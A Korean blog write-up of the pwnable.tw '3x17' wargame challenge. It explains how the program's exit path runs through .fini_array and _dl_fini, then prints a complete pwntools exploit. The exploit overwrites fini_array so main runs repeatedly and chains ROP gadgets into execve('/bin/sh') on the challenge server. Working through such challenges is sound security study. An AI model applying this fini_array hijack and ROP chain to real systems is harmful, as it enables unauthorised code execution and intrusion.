Pwnable.tw 3x17

2019. 11. 25. 05:190x04 pwnable/Pwnable.tw

728x90

보호기법 확인해보니 NX Enable

NX가 Enable되어 있고, Partial RelRo가 적용되어 있다면 ROP를 이용할 수 있겠다는 시나리오를 안고 가자.

 

메인함수를 살펴보면 이렇다.

일단 메인함수가 진행되면, 첫 번째 조건문은 만족하게 된다. 근데 문제점이 있다. 

두 가지의 데이터를 입력받고 나면 프로그램이 정상종료 되게 설계 되어있다. 

 

해커 관점으로 이 부분을 어떻게 가지고 놀 것인지 고민해봐야한다. 

ELF 파일에서 프로그램이 꺼질 때 무엇을 건드는지 알 필요성이 있었다. 이전에 연구해본 Windows Visual Studio 기반에서는 PE 구조를 체킹하는 부분이 존재했었다. 

 

ELF 파일을 똑같이 만들고 메인함수 이후에 어떤 작업을 하는지 살펴보면 도움이 될 거라고 판단했다. (새로 만들면 non strip이기 때문에)

 

[non strip]

 

[strip]

 

비교했을 때 알 수 있는 것은 mov r8에 대입되는 값은 __libc_csu_fini라는 것이다. 이 녀석을 적절히 이용하면 main 함수를 한번 더 사용할 수 있지 않을까.. 왜냐면 fini_array는 프로그램 종료와 연관성이 있는 녀석이니까. 종료 안되게 슥삭 바꾸면 된다고 생각한다.

 

여기서 pop 4번 때리면  main+0 으로 리턴 됨 ㅇㅈ ? 근데 이렇게 풀 수가 없음. pop 4번을 할 수 없기에 잘못 된 시나리오로 판명.

일단, 메인을 여러번 실행 시키는 거 부터 가능하게 해야하기에 바이너리 내 addr 입력 부분에 fini_array 주소를 입력하고, 디버깅해보았다.

0x600e18이 가리키고 있는 값은 __do_global_dtors_aux [0x400590]

 

 

main 끝나기 직전에 exit -> _run_exit_handlers로 접근하게 된다.

__run_exit_handlers를 자세히 살펴보기로 했다. 

 

__run_exit_handlers+230> call   rdx 여기에 들어가면 _dl_fini로 들어갈 수 있다.

으악..너무 루틴이 긴데..? 

 

이건 나올 수가 없는 함수이다. exit 내부에서 호출 되는 것이기 때문에 야매로 하기 실패 ㅎㅎ 

루틴이 긴것을 감안하고 분석을 진행해봐야한다. _dl_fini 분명히 뭔가 정보가 있을 것이다.

특정 블로그에서 괜찮은 정보를 찾았다. 

블로그 내용을 요약하면, _dl_fini에서 fini_array의 정보를 알 수 있다. 

 

트리거 성공

 

후 ROP 공부 좀 다시해야하나... 싶었는데 syscall을 이상한 거 넣어놨었다.. 

이번엔 bss 말고 tbss라는것을 이용해보았다. 


#-*-encoding:utf-8-*-
from pwn import *

context(arch='amd64', os='linux', log_level='debug')
DEBUG = 0

if DEBUG:
    print("LOCAL")
    p = process('./3x17')
else:
    print("REMOTE")
    p = remote('chall.pwnable.tw', 10105)

e = ELF('./3x17')

fini_array = 0x4b40f0
main_addr = 0x401B6D
fini_call = 0x402960

#Find Gadget
# in objdump -d
leave = 0x401C4B # in main

#syscall = 0x4a5bab --> 아 이거 syscall아니네..
syscall = 0x481ca5
tbss = 0x4b40e0

# 생각해보니 ret가 꼭 있어야했다.. !! rop !!
pop_rax = 0x41e4af
pop_rdi = 0x47dce5
pop_rsi = 0x48db36
pop_rdx = 0x446e35


def arbitraryWrite(one,two):
    p.sendlineafter("addr:",str(one))
    #p.sendlineafter("data:",two) # 왜 이건 안돼..ㅅㅂ
    p.sendafter("data:",two)



# main함수는 끝날 때 fini_call을 호출 받게 되는데
# fini_call은 앞부분은 자기자신 , 뒷부분은 바뀔 함수 포인터를 넣을 수 있다

# x86-64 register => rdi -> rsi -> rdx -> rcx
# 근데 해당 바이너리에 rcx가 없는거 같음 그래서 안넣음 ^_^


# 오랜만에 해서 까먹은 지식.. syscall은 rax여야 함
## system call - %rax 이어야 함
# syscall(59) -> execve 함수 실행 가능
# execve("/bin/sh") 가능
# 다른 인자들 전부 깔끔하게 0으로 정리

#print(hex(p64(fini_call))

# Trigger
arbitraryWrite(fini_array,   p64(fini_call) + p64(main_addr))

# Exploit
arbitraryWrite(tbss, '/bin/sh\x00')
arbitraryWrite(fini_array+0x10,   p64(pop_rdi) + p64(tbss))
arbitraryWrite(fini_array+0x20, p64(pop_rsi)   + p64(0) )
arbitraryWrite(fini_array+0x30, p64(pop_rdx)   + p64(0) )
arbitraryWrite(fini_array+0x40,   p64(pop_rax) + p64(59))
arbitraryWrite(fini_array+0x50, p64(syscall))


# 마무리
arbitraryWrite(fini_array,p64(leave))


p.interactive()

참고 자료 

http://blog.k3170makan.com/2018/10/introduction-to-elf-format-part-v.html

 

Introduction to the ELF Format (Part V) : Understanding C start up .init_array and .fini_array sections

Hacking,Information Security,Penetration Testing,Google Hacking,Google Dorking,Keith Makan,Black Hat,Security Research,InfoSec,Web Site Security

blog.k3170makan.com

http://egloos.zum.com/studyfoss/v/5283161

 

[glibc] CSU (C start up) routines

glibc: 2.10.1gcc: 4.4.3arch: x86보통 프로그램이 시작될 때 main() 함수가 먼저 수행되는 것으로 알고 있지만실상은 그보다 먼저 실행되어 main 함수가 동작하기 위한 환경을 만들어주는 역할을 하는 여러 루틴들이 있다.(사실 ELF 표준에서 별다른 설정 없이 가장 먼저 실행되는 함수의 이름은 _start이다.)이들을 csu 혹은

egloos.zum.com

https://xerxes-break.tistory.com/category/Pwnable%21%21

 

'Pwnable!!' 카테고리의 글 목록

Wargame, CTF Writeup 등 프로그래머, 해커 블로그 자세한 내용은 사업상 비밀입니다~

xerxes-break.tistory.com

 

'0x04 pwnable > Pwnable.tw' 카테고리의 다른 글

orw  (0) 2018.06.12
calc  (0) 2018.06.12
pwnable.tw start  (0) 2018.05.03